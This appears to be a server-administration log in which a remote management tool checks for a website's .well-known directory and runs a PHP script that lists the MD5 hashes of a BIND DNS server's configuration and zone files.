MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 9b29104526ddaa10750428fa1ab3105a
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:09:00: Establishing a remote connection
2026-02-09 15:09:00: Establishing a remote connection
2026-02-09 15:09:01: 

PUT: /tmp/pkp297532

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-09 15:09:01: 

chmod 755 /tmp/pkp297532; /tmp/pkp297532; rm /tmp/pkp297532



0


2026-02-09 15:09:03: Establishing a connection
2026-02-09 15:09:04: Establishing a connection
2026-02-09 15:09:04: 

PUT: /tmp/pkp854523

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:09:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp854523; rm /tmp/pkp854523'

2026-02-09 15:09:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
